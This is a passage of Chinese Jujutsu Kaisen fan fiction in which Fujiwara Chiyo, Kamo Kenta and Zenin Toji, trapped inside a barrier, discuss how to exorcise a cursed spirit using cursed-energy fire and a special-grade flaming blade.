‘不,我不能,而且我也不姓加茂。’
藤原千代脚趾扣地避开了禅院甚尔看向他的揶揄眼神,开口打断道,
“健太叔,你敢进来一定是找到了解决办法的吧,直接说出来吧,咱们能快点出去还是尽早吧,迟则生变。”
听到藤原千代的加茂健太没再和禅院甚尔争论,开门见山地说道,
“我在加茂家查到了这个咒灵,当时记录的时候它还是只是二级,但只写了从里面出去的方法,没有说咒灵祓除的方法。
“含一口盐水,说三遍我赢了后烧毁玩偶。”
“但咒灵只能被咒力祓除,这绝对不是最终的祓除方法。家主和我同时推断,问题很有可能出现在最
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后烧毁玩偶的火焰上。”
“很大可能需要使用咒力火焰才可以将其祓除。”
“而你们所遇到的两个东西,很有可能是小野凛逃脱失败所导致的产物,具体需要去问一问他这个当事人。”
藤原千代听到这里有些迷茫,开口问道,
“但是我们这里没有人会用火,加茂宗介倒是也被困在这里,难道他的术式是火焰吗?”
听到藤原千代的问题,加茂健太有些答非所问地说道,
“少主之前有没有思考过咒力究竟是什么?明明一直被咒术师作为术式供能的力量,却来自于人的负面情绪,虚无缥缈。”
“咒力作为流转于咒术师体内的最根本力量,却只能依靠术式和咒具来发挥作用,就像是电和电灯的关系。”
“但很少人知道,咒力作为咒术师能力的本源,是可以直接用来攻击的。如果能够领悟咒力的本质,即便没有术式,也是可以使出操纵火焰这种最基础的力量。”
“当然咒力的本质并不局限于火焰,水也可以作为本源力量。”
说完加茂健太突然低头与藤原千代对视,就那么静静地看着他。
藤原千代被看的心里一紧,开口说道,
“所以健太叔你可以操纵火焰对吗?”
加茂健太神情未变,自信满满地说出,
“不能!”
藤原千代嘴角一抽,有些无语,所以你说了那么多就是为了装一下是吗,还给我吓一跳。
加茂健太看到藤原千代大失所望的表情后,又连忙解释说道,
“领悟咒力的本质,使用咒力本源直接攻击只是加茂家的古籍所记载的,实际究竟能不能有这种人存在谁也不知道,很大可能只是一个猜想。”
“控火控水这种能力,无论是在咒术界还是异能界都很普遍,这种获得困难又获利不高的东西很少有人主动去参悟。”
“所以我们上哪里去整点咒力火焰来祓除咒灵呢,码头吗?”
藤原千代发出了灵魂质问,既然都猜测要用上咒力火焰,为什么派一个玩电的来啊!
加茂健太微微一笑,从背后取下了一把长刀,胸有成竹地说道,
“特级咒具,焚魂刃,伴随使用者挥刀攻击会释放咒力火焰。”
一旁的禅院甚尔看到后,眼睛一亮,忍不住开口感慨,
“好东西啊!”
藤原千代转眸看了他一眼,不太明白禅院甚尔怎么如此兴奋。
他扭头看向加茂健太开口说道,
“所以健太叔你有可以穿过这个结界的办法吗?咒术师会被困在这里出不去,我们没有办法去接触咒灵的本体。”
“如果不能解决穿不过结界的问题,只能由甚尔拿着这把刀再去寻找一趟了。”
“对了,你身上有可以跨结界交流和保命的咒具吗?”
加茂健太被藤原千代一连串的问题问得微微有些愣神,
“出不去是何意啊?”
禅院甚尔看到加茂健太的表情,心中一乐,
‘那这把刀我一会可是要好好耍耍了。’